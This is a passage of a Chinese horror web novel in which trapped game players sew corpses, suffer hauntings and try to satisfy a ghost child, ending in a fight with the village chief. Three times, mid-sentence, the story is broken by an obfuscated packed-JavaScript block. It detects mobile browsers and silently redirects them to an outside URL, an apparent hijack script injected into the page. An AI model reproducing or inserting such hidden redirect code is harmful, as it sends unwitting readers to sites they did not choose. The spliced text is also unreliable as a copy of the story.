钱又结结巴巴的回答,“我本来用脚抵着门的……但是感觉有人推了我一下,门……门就突然关上了……” 听了钱又的说法众人心里一沉,没再纠结到底是谁推的他、又是谁关的门,刚刚外面透进来的灯光还能隐隐照亮屋里的一切,门关上后彻底黑了下来,外面的月光仿佛都被窗户隔绝了。 几人摸黑着往前走了一段却迟迟没碰见原本尽在咫尺的小床。孙德义想拉着他前面的沈周二人停下,却摸到一个浑身湿漉漉的“人”,他不动声色地收回手,试着喊了声:“张龙?” “怎么了孙总?”张龙有意压低的声音从他身后传来。 听见回答孙德义松了口气:“你们都还在吗?” 身后传来四个人略带迟疑的回答……等了片刻却迟迟没听到前面那两人的声音。 孙德义朝后推了几步,靠着李肖在他手上写下“有东西”三个字“,然后自然的说到:“沈逾白呢?这两个人不是跟我们一起进来的吗?他俩不对劲。” “不是早就知道他们不对劲了吗?” 钱又顿了一下突然变了声调:“孙……孙总,你们别退了……我后面有人……” 五人就这样停在了原地,进也不是推也不是,这时四周却传来了凌乱的脚步声,听不出来有多少人,但明显已经将孙德义他们围了起来。 五人个背靠着背提防着四周,孙德义突然感觉脖子上一凉,一个湿漉漉的绳子缠上了他的脖子,绳子向外拉紧,为了不被勒死孙德义不得不顺着绳子的方向踉跄了两步,远离了另外四人的方向。 “嗬嗬……嗬”孙德义双手挣扎着摸向脖子上的绳子……不,不是绳子,这是一簇半湿的头发!此时头发又在他的脖子上饶了半圈绕到了他的后面,向上方越收越紧。 孙德义感觉到自己正在慢慢被吊起来,更加激烈地挣扎起来,双腿使劲向下蹬,十个指头插进勒在脖子上的发丝间向外扯着,发丝断开的声音顺着他的身体清晰地传进耳朵中,他仿佛受到了鼓励更加拼命地扯着。 身体被越吊越高,随着挣扎的动作孙德义的身体在半空中转了个圈,一张煞白的脸出现在了孙德义面前,一个针脚别扭的缝合口从这张脸的右边额头开始斜着向左侧嘴角延伸,嘴角上扬像是在朝着孙德义微笑,漆黑的眼球直直看着孙德义,这是头发的主人……许是这张脸的冲击太大了,孙德义只看了一眼就立刻闭上了,继续挣扎着扯着脖间的发丝。 但是窒息的感觉太过强烈,他的嗓子被喉结硌得生疼,整个脑袋胀得像是要炸开,慢慢的……孙德义的嘴巴和眼睛不自觉地张开,但他已经看不见面前那张恐怖的脸了,耳边嗡嗡作响,意识缓缓抽离,挣扎的动作也渐渐停止了。 “滋”一声,孙德义重重的摔在了地上,他的脖间一松新鲜空气瞬间涌入呼吸道,孙德义呛咳了几声被人扶起,听着由远及近传入耳中的张龙的声音,他深吸了几口气缓了过来忙问发生了什么。 “孙总,我刚刚进来的时候顺了把剪刀,被吊起来的时候我试着把头发剪了,然后那个女鬼就不动了。”张龙缓了缓继续道,“而且现在不在小女孩的房间!我们在我们的房间里面!” 孙德义睁开眼环顾了一周,房间内跟刚刚伸手不见的漆黑不同,窗外的月光通过窗户透进来,虽然不是清除但仍能看出房间的大致构造,这是他们睡觉的那个没有任何家具的房间。靠墙坐着的李肖撑着墙壁站起来,挪到门口拉开灯绳,昏黄的灯光照亮了整个屋子,五具穿着各色连衣裙的尸体直挺挺站在屋子里,头发被剪得乱七八糟,孙德义看得眼睛都难受起来。 “沈逾白两个人呢?”孙德义问到。 “不知道,但我估计,应该在他们那个房间?”李肖靠在墙上回答。 李肖自觉地打开房门,众人来到奶白色的房门前敲了一下,没人应。按下把手,门顺利的开了,门内的沈逾白和周知聿二人正拿着把刀往自己胸口插。张龙和钱又两人上前踢开他们手上的刀,那二人仿佛突然惊醒一样对着他们谢了又谢。 “这又是什么情况?”孙德义习惯性地问沈逾白。 沈逾白苦笑道:“再次食言的惩罚吧。” “艹!”孙德义想到刚刚自己差点被吊死怒上心头,快步走到囡囡的卧室开始砸门,“小兔崽子你给我出来!” “妈妈你是在找囡囡吗?”甜甜的声音在孙德义的背后响起。 “对!就是找你个小兔崽子!”孙德义转身拎起女孩,“老子在那个破广场跟些烂肉一起呆了一天,紧赶慢赶就是为了赶快回来,你倒好就因为回来晚了那么一会儿就要老子的命?!” 孙德义发泄完怒火终于气顺一点了,却看到站在一旁的其他人脸色不怎么好,他想到故事背景里那句“我总是把最坏的情绪留给我的孩子”,突然觉得自己好像冲动了,慢慢把孩子放在地上,准备说两句话安慰一下,囡囡突然大哭起来。 “坏妈妈!呜呜呜……我准备了好多姐姐想跟妈妈一起玩儿妈妈还骂我,呜呜呜……妈妈说话不算话妈妈凶我,呜呜呜……姐姐我们不跟妈妈玩儿了……” 说完孙德义他们房间里的尸体动了起来,跟着囡囡回了她的房间,房间门砰地关上了,留下七个人站在走廊愁眉苦脸面面相觑。 “算了,先收拾收拾做饭吃吧,走一步算一步。”沈逾白率先打破僵局,其他人也就坡下驴不再多说什么。 - 晚饭做好后邓玲和沈逾白去敲囡囡的门,小女孩好像忘了刚刚发生的事,又甜甜的坐在餐桌上享受着美味,其他人却都没什么胃口,估计是“被上吊”的后遗症,孙德义一直犯恶心,没吃什么,只坐在沙发上发呆。众人吃完饭收拾好以后,坐在客厅开始讨论接下来的计划。 沈逾白:“‘食言’和‘发火’都应验了,我们接下的重点一定得放在‘孩子被我害死’上,别变成真的,不然除非这个游戏的任务是‘完成背景故事中情节’,否则我们就是死路一条。” 邓玲:“问题是我们根本没有时间一直跟囡囡呆在一起,怎么能保证她的安全?” “我们不是要保证她的安全,而是要保证她不被我们害死。”孙德义纠正到,“明天,明天说什么也得按时回来!” 沈逾白:“我同意孙总说的,我有一个想法,如果在尸体数量不变的情况下,想要早完成任务回家,我们是不是可以早一点去广场干活呢?” “可是……这样不会违规吗?”李肖不赞同。 “目前的规则有几条,一是听见狗叫得停下动作,但是违反这条规则不会有生命危险;二是完成缝尸任务不能排在后百分之五,违反这条规则会死;第三是要在天亮前到达广场,违反的这条规则的后果目前暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838935|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时不知道;没有一条说我们不能提前开始缝尸工作。”沈逾白顿顿,“当然,风险肯定是有,问题是现在已经是第二天了,我们的任务没有任何推进。如果我们还是按照这两天的轨迹行动,这个游戏必定是个死局。” “但是游戏不会设置死局。”周知聿补充到。 李肖没再出言反驳,但也没同意,孙德义看了看还在犹豫的众人,不耐烦的直接拍板:“行了,就这样做,不能太被动了。” “那就这样吧,大家早点休息明天一早我们就出发。对了还有件事,今晚睡觉能要注意一点,因为……我们刚刚又违规了,小心囡囡的恶作剧。” 沈逾白二人回房了,剩下几个人脸色都不太好也各自选好防身工具,女尸在房间里试图吊死他们的痕迹已经消失了,他们沉默地铺床入睡。 果然如沈逾白所说他们晚上睡觉时被鬼压床、孙德义起来上厕所时遇到背后伸出来的苍白鬼手、钱又睡着睡着感觉旁边有人,睁眼一看囡囡那个玩偶正躺在他旁边眨眼睛…… 一晚上折腾的都没怎么睡好,起来的时候一个个有气无力的黑眼圈比鬼都吓人…… 离天亮大概还有两三个小时,广场上一个人都没有,陈设已经变为了每天早上他们看见的那样,塔中的尸体已经堆了起来,尸体掉落的声音咚咚咚的回荡在广场上。张龙试探性地从塔中拉出一具尸体,缝了两针,没有任何问题! 几人对视一样都很激动,孙德义让张龙跟着沈周二人去林子里多准备一些材料,剩下四个人先缝尸体,现在村民还没来他们有足够的工具可以使用。 - 时间过去了两个小时,猪皮和竹子的数量已经很可观了,据天亮还有大概一个小时,另外三人也留下加入了缝尸的工作。 村民陆陆续续到齐了,见他们已经开始缝尸没有任何反应;村长来了,看了他们一眼也没多说什么。天亮了,村长照常宣布任务的开始——什么都没有发生!他们缝好的尸体依然在那儿,塔中也没有更多的尸体掉下,他们的计划成功了! 众人心中振奋,继续按照前两天的分工开始工作。 - 中午宣布考核结果的时候,孙德义他们意料之中的排在了第一,猪皮和竹子已经足够,孙德义让张龙和沈逾白两人一起下午抽空回去一趟,看能不能在囡囡面前刷一点好感,推进一下任务值,但两人半个小时就回来了。 “累死我了,我们回去后才发现我们根本进不了那座房子,门都打不开、我们试着用石头砸窗户,石头都碎了窗户还完好无损。” 沈逾白在一旁肯定了张龙的说法:“我推测应该是因为这个时间‘我’应该在广场缝尸体,所以没有办法出现在家里面,副本场景不对我们开放。没办法了,只能尽快把任务完成再回去了。” 事已至此,他们也不再纠结,只是越来越熟练地缝着尸体。 塔中的尸体已所剩不多,李肖根据他们中午的完成度算了一下,他们的任务已经完成了,一行人把尸体搬到指定位置,第一次开始主动跟村长搭话。 “村长,我们的任务完成了,您能先检查一下我们的完成情况吗?孩子一个人在家我们不是很放心。如果合格了我们想先回去了。” 老村长盯着他们看了半晌,微微点了下头,他们顿时放下心来。 离开广场的时候李肖很高兴,当然所有人都很高兴,毕竟这是他们第一次在天黑前完成任务,照这样下去完成这个副本的任务不是很容易?从早上一直忙到现在,十几个小时没停过,实际上几人已经累得想原地躺下了,但即将完成任务的兴奋使他们连浑身的酸痛都感觉不到,大步向回家的方向走着。 在竹林小路上他们又遇到了一次幻境。 到家后开门的是囡囡,小姑娘看见他们回来十分高兴地把他们迎进门,没有恶作剧只是不住地说着“妈妈真好妈妈真好。” 照常收拾好做好饭,他们准备在餐桌上跟囡囡培养一下感情。 “囡囡今天在家干了什么呀?” “跟姐姐一起玩儿过家家!” “……” “怎么玩儿的呀?” “我们一起缝了娃娃!但是姐姐不要我缝娃娃,她说我应该照顾妹妹,我照顾好了妹妹她才能缝更多的娃娃,可是我也有缝娃娃的任务呀,我的任务说照顾妹妹的任务应该让姐姐多分担。” “……” 什么乱七八糟的,几个大人装不下去了,只能敷衍的安慰了几句,囡囡看上去很开心。 晚饭结束了,他们准备回到客厅,起身的瞬间众人感到肚子一阵剧痛,倒在了餐桌旁。 “卧槽,什么情况?谁下毒了?”张龙一变捂着肚子一遍嚎。 钱又:“你闭嘴,今晚我做的饭,做好就放你们面前了谁能下毒?” “那现在什么情况?我肚子好痛啊操!” “我怎么知道烦死了你能不能闭嘴。” 几人忍受着钻心的疼痛完全无法思考,这时一直没说话的囡囡突然开口了。 “妈妈你怎么了?是妹妹要出生了吗?” 7. 妈妈的心愿(六) “是妹妹要出生了吗?” 囡囡甜甜的声音在每个人的耳边响起,孙德义像是突然忘记了疼痛似的猛然抬头,眼中的震惊仿佛凝成实质,他像是没听清,看着女孩甜美的笑脸问出了心中的疑问:“你说什么?” “妈妈?妈妈之前不是说肚子里的妹妹出来前会敲敲你的肚子跟你打招呼吗?现在不是妹妹要出来了吗?” “‘妈妈’怀孕了?但我们是男的啊!男的生个什么孩子?”张龙捂着肚子崩溃。 “现在重点可能不是男的生孩子的问题……”邓玲深吸了一口气,继续道:“我突然想起来从昨天开始我们或多或少都有不舒服……累、反胃,这可不像是要生了,反而像是……孕早期,就算游戏副本里面时间流速比较快生孩子进程短,总不可能肚子都没大一点孩子就生出来了吧?” 孙德义想到什么神色一顿,求证似的问邓玲:“你的意思是…嘶……我们这是流产了?” 无人再接话,众人神色都不太好,且不说作为一个男人突然怀孕然后又流产给他们带来的心理阴影,单说他们在一个超自然恐怖游戏的副本里面流产了一个孩子,这件事会带来怎样的后果和不确定性他们根本不敢细想……况且,孙德义好像明白了在最初的游戏故事背景中那个“祂”是指谁了。 本以为指被“我”害死了的女孩,现在看来,“祂”指的应该是肚子里失去的这个孩子,也就是说,背景中的三件事都一一发生了,那不是意味着今天就是他们的死期?肚子的疼痛断断续续其实并没有没有他们这几天经历的那些惩罚难熬,回顾这几天经历的一切,孙德义才发觉他们根本就没有什么时间去寻找通过这个副本的方法,沈逾白不是说这个游戏很简单吗?那为什么这几天他们除了缝那些恶心的尸体就是在被惩罚、被恐吓?对了,沈逾白……这个人好像很久都没有说话了。 “姓……姓沈的,你不是说这个游戏很简单吗?可你看看这几天我们都经历了些什么事儿?现在莫名其妙第三件事儿也发生了,我们现在只能在这儿等死吗?” “闭嘴!你以为我们就很想死在这儿吗?!这是我们最后一个副本了!我们本来马上就可以解脱了的,谁知道这个副本在搞什么!”沈逾白情绪突然激动,一改往日的温文尔雅,他把头埋在双臂之间,整个人都在发抖,也不知道是疼的还是气的。 “我想想我想想……”他有点神经质,突然抬起头看向站在一旁微笑着的小女孩:“对了!囡囡……囡囡,我问你,如果没有妹妹了你会生气吗?” “为什么会没有妹妹呢?可是我有一点想要妹妹呀。”微笑的笑脸耷了下来,看起来有点伤心。 “我也想要妹妹,但是妹妹可能是不喜欢我……我总是食言对囡囡还不好……”说着他又把头埋进了女孩的肩膀,“因为我不是一个好妈妈,所以妹妹走了,我现在只有囡囡了。” 女孩的脸彻底没了笑容,其他人看着女孩的表情心都提起来了,看向沈逾白的表情像是在看一个活腻了不停作死的疯子,李肖甚至忍着腹痛把自己挪到了离沈逾白最远的地方。 “呜呜呜……”女孩突然瘪嘴哭了出来,只见她十分伤心地抬手擦擦眼泪又抱住沈逾白:“妈妈你不要难过了……妈妈陪囡囡玩儿,妈妈好,妹妹不喜欢妈妈,我们就不要她了……妈妈有囡囡就好了,囡囡喜欢妈妈……” “?”这个走向众人始料未及,不是说“她”不爱妈妈吗?怎么在故事背景里的事都发生了之后,这小姑娘还能说出喜欢妈妈这句话?那任务这就完成了?可是女孩的哭声还是回荡在屋子里,他们并没有被送出游戏,那难道是因为……游戏的目标其实不是“让孩子爱妈妈”? - 折腾了大半宿,众人的腹痛终于停止了,裤子上不知道从哪儿来的血迹也证实了他们的猜测,同时也推翻了最初他们对于游戏任务的猜测,这意味着,进入游戏的第三天,他们连游戏要达成什么目标都没弄明白…… 半夜,众人刚睡下就被房子里婴儿尖利的哭声吵醒了,再也没了睡意,干脆起床聚在客厅梳理现在的情况。 “我先说我的观点,首先游戏的主任务目标一定是跟‘妈妈’和孩子有关,妈妈认为自己不守信用、乱发脾气不被孩子喜爱,但事实是,就算“妈妈”所有的这些问题,孩子还是喜欢妈妈,当然我是指活着的这个孩子。”睡了一觉的沈逾白已经恢复了往常的温柔,仿佛刚才的失态从未发生过。 孙德义很难把眼前这人和刚刚那个神经质地男人联系在一起,但不可否认的是他确实很像过了四个副本的样子,他问出心中的疑问:“那我们每晚遭受的恶作剧要怎么解释呢?” “这个先放放我们等会儿再讨论。”沈逾白顿了一下:“现在我们先说任务,关于广场缝尸这个任务,经过三天的观察大家应该都看出来了,塔里的尸体每天的增加,这也意味着我们每天的工作量是越来越来大的。你们不觉得缝尸的这个日常任务,跟我们的通关目标是相悖的吗。” 通关目标是围绕着孩子开展的,日常任务却把他们绑在了广场,导致他们屡次对孩子食言、从而又使他们对孩子发火,或许今晚的“流产”事件也是因为他们超负荷的完成缝尸工作导致的,甚至可以说只要他们去完成缝尸这个日常任务,就不会有时间去顾及主任务……这一切确实是像沈逾白说的那样,都在指向一个事实——日常任务与主要目标相悖。 “那……接下来我们怎么办?不去广场了?”钱又犹豫着问。 周知聿立刻出言反对:“直接不去广场了太过冒险了,万一我们直接被判定违规被抹杀了呢?” “这就是我们要讨论的另外一个问题,按照常理来说游戏不会设置一个死局,如果主任务和日常任务真的是相悖的,那么主任务目标和日常任务中的规则究竟哪一个会威胁到我们的生命呢?目前来说如果我们遵守日常任务的规则,主任务目标这边,我们就会因为出现食言等行为遭遇幻象以及恶作剧;同样如果我们严格完成主任务的要求,我们可能会因为没有及时完成日常任务而被村长‘淘汰’,这个决定可能会直接影响到我们能否活着走出这个副本。” “这个问题似乎并不难回答……”李肖迟疑开口,“要通关当然是得先完成主任务目标了。” “但如果孩子这条线不是主任务呢?毕竟这只是我们的推测。” 李肖:“我觉得可能不大,就算主任务不是让孩子爱上妈妈,也应该跟孩子有关,故事背景里面可是提都没提那个狗屁日常任务的。” “还是不要轻易下结论,你别忘了日常任务那个村长,可是杀死过其他村民的。”钱又顿了半晌继续说:“而孩子这边,除了幻境就是恶作剧,她真的有威胁到我们的生命吗?” 孙德义:“当然会,如果不是张龙摸了把剪刀我们他妈差一点就被女尸的头发勒死了。” 众人沉默了,其实所有人心里都偏向主任务就是孩子有关,但被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838936|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村长“淘汰”的场景曾真真切切的在他们面前发生过不止一次,谁也不敢轻易做出这个关乎生死的决定,最后还是李肖打破了僵局,他犹豫开口—— “要不……我们分头行动?” “可是不是说缝尸的时候无法靠近这座房子吗?” “但是我们今天晚上流产了。”沈逾白带着笑意毫无负担地说道:“一个刚流产的人,只有一半的精力工作难道不是很正常嘛?更何况我们不是去缝尸的,我们是去跟村长讲道理、说服村长减少工作量的。” 其他人:“……” 四个小时后,“刚流产”的孙德义、沈逾白和张龙三人结伴来到广场,村民基本上已经来齐了,今天天气不错,阴沉了几天的天甚至出现了几束从进到这个副本开始就没见到过的太阳光,虽然还是看不见太阳。 村长照常面无表明地站塔下,就在他正要开口说话时一道男声先一步打断了他。 “村长。”张龙在沈逾白的示意下有点别扭地开口:“那个……我们流……产了……可以请两天假吗?” “……”村长向他们看过来,上下打量了半晌,别过头去;“诸位,天亮了,过来自行领取工具吧,请缝尸匠尽快完成今天各自的任务。” 村长没有理他们,幸而也没有责怪他们人未到齐。 张龙再接再厉,跟着村民的步伐凑到村长身边继续卖惨:“村长,我们因为昨天太认真地干活而失去了一个孩子,今天为了准时赶来广场提前了两个小时出门,拖着虚弱的身体走到广场来,就是希望您能准我们休息两天。” “继续干活……可以减少你百分之八十的工作量。”老村长大发慈悲地开口,又补充了一句:“当然,今晚你家的食物供给也减少百分之九十。” “草……”孙德义没忍住了骂了出来,他们之前还纳闷冰箱里的食材为什么一直都没断过,以为是游戏好心给他们安排了吃的,结果没想到那玩意儿是他们自己打工赚来的。老村长嘴一张就扣掉了百分之九十,他的权力也太大了点,不过……明天只有一天了,他们真的需要这些粮食吗? “如果我现在直接回去呢?”孙德义试探到。 “我会立刻淘汰掉你。” “……”沈逾白:“那请问村长,我们每天的任务可以适当减轻一点任务吗?我们每天都呆在广场上,我的孩子已经生我的气了。” “村里给你们提供获取食物的机会你们竟然不知感恩还讨价还价?用你们的劳动换取食物这很公平,如果没有食物,你们的孩子连生你气的机会都没有。” “……”这鬼地方的设定竟然还有点熟悉,果然是当社畜来了……最终三人还是迫于村长的威胁开完成今天的工作,幸而只需要完成两个人的工作量,这对于他们这些熟练工来说不算是很难,至于食物嘛……反正林子里野猪竹笋那么多,就算再在这里面呆一周也不会饿死的。 三人拖着因为缝了一天的尸体而疲惫的身体走在回去的小路上,再次遇到了漫天乱飘的白衣女鬼,女鬼的肚子大得像装了两个篮球,空旷的路上回荡着从女鬼们肚子里发出来的婴儿的哭声、笑声以及牙牙学语声……他们已经有经验了,闭着眼睛闷头往前跑,等到听不见声音了再睁开眼,果然还站在一群村民中间,孙德义感觉自己从这个游戏出去以后可以去做鬼屋探险直播了。 到家后门是邓玲给他们开的门,看见三人后邓玲迫不及待的宣布:“我们今天有重大突破!” 8. 妈妈的心愿(完) 孙德义一行人出门后,李肖帮着邓玲做了一顿丰富的早餐,几人围坐在沙发上看着天色一点点亮起来,发现自己安然无恙后终于松了口气。 邓玲李肖二人敲响了囡囡的房门,缓缓打开,睡眼惺忪的小姑娘看见门外的人后突然就瞪大了眼睛了,在邓玲主动解释了今天会在家里陪她玩儿后,女孩露出了笑脸。 四个大人在欢快的氛围中陪着囡囡吃完早饭,一起坐在客厅的阳台上玩儿着过家家,本以为会很快回来的孙德义三人却迟迟未见身影,邓玲他们最开始还担心,但看着悠闲摆弄着洋娃娃的周知聿,也慢慢放下心来。 欢声笑语充斥在这座孤零零的立在群山之中的房子里,一上午的时间很快过去,李肖看邓玲被囡囡缠着走不开便主动提出去做饭,没成想随着李肖的离开,囡囡的兴致却低了下来,与此同时刚刚还笼罩在阳光中的房子突然就阴沉下来,屋外狂风大作,树叶断枝砸在玻璃上发出哒哒的声音,呜呜的风声中还能听见隐隐约约地婴儿哭声。 这突然的变故让众人措手不及,李肖停下了前往厨房的脚步,坐回到了女孩身边,风声渐息但天空依旧阴沉,跟前面三天差不了多少,现在众人都看出来了,这个副本中的天气是跟面前小女孩的心情挂钩的,有这能力的说不是大BOSS都没人信。 但现在出现的情况这让邓玲很是不解,毕竟李肖的陪玩工作并不称职,不像是能让囡囡这么依依不舍的样子,思及此她便温声询问。 “囡囡?怎么突然不开心了?” “妈妈走了,又没人陪囡囡玩儿了。” “我们不是在陪着你玩儿吗?”钱又压着脾气问这个要求十分多的小女孩。 “可是囡囡有七个妈妈,今天却只有四个妈妈陪囡囡玩儿,现在又少了一个妈妈。” 邓玲:“没关系的囡囡,他只是去给囡囡做饭吃,我们今天一天都在家陪囡囡玩儿。 “那明天呢?今天在家的话明天也在家吗?” - “今天在家……明天也在家吗?” 邓玲说完后孙德义默默重复着囡囡问出的这句话,若有所思:“所以你们是觉得,我们的任务应该是待在家里陪着她?” “可以这样说,我们陪她玩儿的时候副本里回出现久违的阳光,相反我们离开或者平时没有按时回家的时候,会遇到各种诡异的事,还有……”还有一个猜测,邓玲没敢说出来,她看了李肖一眼示意他接着说。 “还有就是我们缝尸的时候,随着尸体数量的增加我们提交任务的时间会被村长延迟,但偏偏狗叫声响起的时候我们继续缝尸又会受到惩罚,这个狗叫难道真的只是因为一个民间的传说故事吗?”李肖说着越发笃定,村长如果要惩罚他们完全可以不延长任务时间,现在时间被延长了但是又降下了没有明说的惩罚,有没有可能惩罚与村长无关,也与缝尸这个日常任务无关,而只是因为他们没有按时回到小女孩身边呢? 谨慎使然孙德义没有直接表态,刚好这个时候其他人叫他们吃饭,他顺势走到囡囡面前问她喜不喜欢小狗。 果然,小女孩飞快点头给出了肯定的回答,还告诉他们她有一只小狗朋友每天都帮她叫妈妈回家。 几人心情复杂,合着这几天遭受的各种折磨都来自于眼前这个缺乏陪伴的小女孩。到现在,他们也大概清楚了这个故事的背景,无非是一个忙于日常缝尸工作的妈妈忽视了自己的孩子,还因为日常的工作间接导致了自己流产,女儿为了引起妈妈的注意经常对妈妈恶作剧,妈妈认为女儿不喜欢自己…… 实际上女儿是爱妈妈的,所以他们之前设想的“让女儿爱妈妈”这个任务并不成立,真正的任务应该与陪伴“女儿”有关,这既是女儿的心愿,也是妈妈的心愿。 邓玲温声道:“囡囡,明天妈妈们都不去缝娃娃了,在家陪你。” “以后也不去,每天都在家。”李肖紧接着补充到。 女孩身上一直以来的诡异感消失了,窗外甚至传来一两声鸟叫,看着女孩发自内心的笑容,几人提了四天的心就这样放下了,很明显他们确实是猜对了。 想到第一次见到囡囡时她问出的那个“可以不去吗?”众人有点郁闷,谁能想到他们来到这个世界第一天答案就摆在了他们面前呢。 只不过现在他们还是坐在这个温馨的餐桌上没有要被送走的意思,孙德义询问地看向沈逾白二人。 “应该是需要我们完成这件事,不过今晚应该可以睡个好觉了。”沈逾白像是彻底放松了,全身心地投入到餐桌上的食物,其他人见他这样也跟着放松下来。 回房间睡觉时,孙德义他们惊奇地发现他们住了几天的八十年代毛坯房突然就变成了一个装修精致的书房,三面到顶的书柜全是各种类型的书籍、白色实木地板上铺着同色系的长毛地毯,地毯上巨大的懒人沙发看上去像是漂浮着的软绵绵的云朵。眼前发生的变化让几人百思不得其解,但环境改善了总归对他们没有坏处。 一夜安眠,疲惫的五人难得地睡了个好觉。 第二天一早,被生物钟叫醒的人们围坐在客厅,忐忑的等待着最后的审判。 深蓝色慢慢褪去,一抹橙红逐渐扩大,像极了他们进入游戏的第一天,但那天的太阳最终并未如愿出现,不知到今天如何。 时间越往后走孙德义越是不安,万一他们的决定是错的不是就没命了?但是今天是最后一天了,没完成最终的任务他们还是得没命,时间早晚而已……他强迫着自己压下心中的慌张,盯着窗外渐渐清晰的群山。 “哇!妈妈你真的在家!” 随着囡囡惊喜的欢呼声,太阳最终冲出大山,重新挂在了这个世界的天空中。 众人心中的不安消失了,随之而来的喜悦让他们欢呼出声、激动地抱住了面前这个孩子。在沈逾白的建议下,他们如约陪着女孩玩儿她想玩儿的游戏,屋子里的笑声与窗外的鸟儿的歌唱组成了一曲生动的交响曲。 - “沙、沙、沙……” 脚步踩在干枯竹叶上的声音由远及近地传进屋内,众人默契停下了陪孩子玩耍的动作,囡囡脸上出现了一丝不安,抿着小嘴盯着门口。 敲门声第四次响起时李肖打开了大门,门外站着十三四个人,为首的是黑着脸的村长,几个村民拿着砍刀站在村长身后面无表情的盯着李肖和他身后的其他人,对峙中,村长率先开口。 “给我一个你今天没有准时出现在广场的理由。” “我们昨天给你说了,要在家陪孩子,不去缝尸了。”孙德义理直气壮地回答,感受到囡囡拉着自己衣摆的手后又补充了一句:“以后都不去了。” “你们不怕饿死吗?” “有手有脚还能饿死?”李肖昨天听说了他们的食物来源后跟孙德义是一样的想法,只要生活在这片山里就没有饿死的可能,更何况他们今天就要离开这个鬼游戏了。 “即便是你们不再需要村民给你们提供的食物,你们也得完成今天的工作,这是当初你们来到这个村子的时候就约定好的,在每个周期结束前不得无故不完成任务。” 众人对什么约定毫无印象,估计是原来的“妈妈”还在的时候发生的事情,孙德义问村长一个周期是多长时间,得到七天的回答后彻底气笑了——他们在游戏里一共就呆五天,这个日常任务就得做七天?怎么做?主线任务没完成死在游戏里了变成鬼继续做日常任务吗? 孙德义不愿再跟这些NPC多费口舌,盖棺定论到:“随便你们怎么说,反正我们不会再去广场缝尸了。” “这可由不得你。”村长说着朝身后的其他人一抬手,“把他们给我带到广场。” NPC村民立刻举着刀朝他们冲过来,周知聿反应很快,拿着提前放在玄关处的棒球棍就迎了上去,这些村民跟他们平时表现出来的一样行动迟缓,虽然手里拿着武器却不是周知聿的对手,周知聿拿着棒球棒砸向这些村民的双腿。 “扔出去——”在他们被砸到地上试图爬起来的间隙,周知聿朝着张龙喊了一声,张龙立即会意,抓着NPC的后颈衣领拖到门外。见此情形其他人也纷纷加入了战局,周知聿和沈逾白打掉他们的武器,孙德义等人合力把这村民往门外拖,拖出去后张龙负责用石头砸断他们的腿,让他们短时间内再也站不起来。 等所有村民和村长都被扔到门外后众人关上门,回头还没松一口气却看见刚刚被他们拖出去的村长正好好地坐在餐桌旁——村长用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838937|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张阴鸷的脸面对着他们,他的嘴角慢慢向上提起形成了一抹诡异的微笑,一字一顿地说:“我说了,在本周期内,由不得你们。” 说完他的身影突然消失,一晃眼出现在了邓玲和囡囡身后,在众人都还没有反应过来发生了什么时伸出手扼住了囡囡纤细的脖子,女孩被他掐住脖子拎了起来,窒息的感觉让她不停挣扎,嘴里不住叫着妈妈。 这一变故让一位胜券在握的几人愣住,村长为什么不直接杀了他们而是用囡囡来威胁他们呢?是因为囡囡是他们的“女儿 ”,还是……他们的猜测没有错,囡囡确实通关的关键!但是如果是这样,那说明囡囡是这个世界的主要NPC、是最大的Boss,但此时她却轻而易举地被村长抓住了,这又该怎么解释呢? “现在怎么办?”孙德义侧头看向沈逾白,还没等沈逾白开口,他又直接打断:“我知道了,我们的任务是陪伴女儿,完成女儿和‘我’共同的愿望,但是我们今天陪她玩儿了一上午了任务都没有完成,是因为我们没有彻底摆脱日常任务。现在村长来了,这就是我们彻底摆脱日常任务的机会!囡囡虽然平时动不动就折磨我们,但是那是因为我们跟她是‘母女关系’。” 囡囡跟村长并有关系,所以她的那些小把戏威胁不到村长,现在村长用她威胁他们,因为……她死了任务就彻底失败了。 “我们已经给他说了不去日常任务了啊!”李肖眼看女孩儿已经慢慢喘不上气,急的满头大汗。 “说有什么用,他又不讲道理,现在只有一个办法了……”孙德义喃喃说道。 其他人显然明白了孙德义的意思,但谁也不愿意主动挑明:“孙总?村长跟外面那些npc不一样,我们能打得过他?况且……他有呼吸、有意识……他可是人啊!” “人?诸位在这儿装什么小白花呢?”沈逾白嗤笑一声,“有位伟人说过,这个世界上没有什么比消灭自己的敌人更实际的事情了*。这个道理还需要我来教你们?” 囡囡的挣扎越来越弱,孙德义等人也不敢再端什么遵纪守法好公民的架子,同意了沈逾白的意见,拿起手边的武器就朝村长冲了过去。 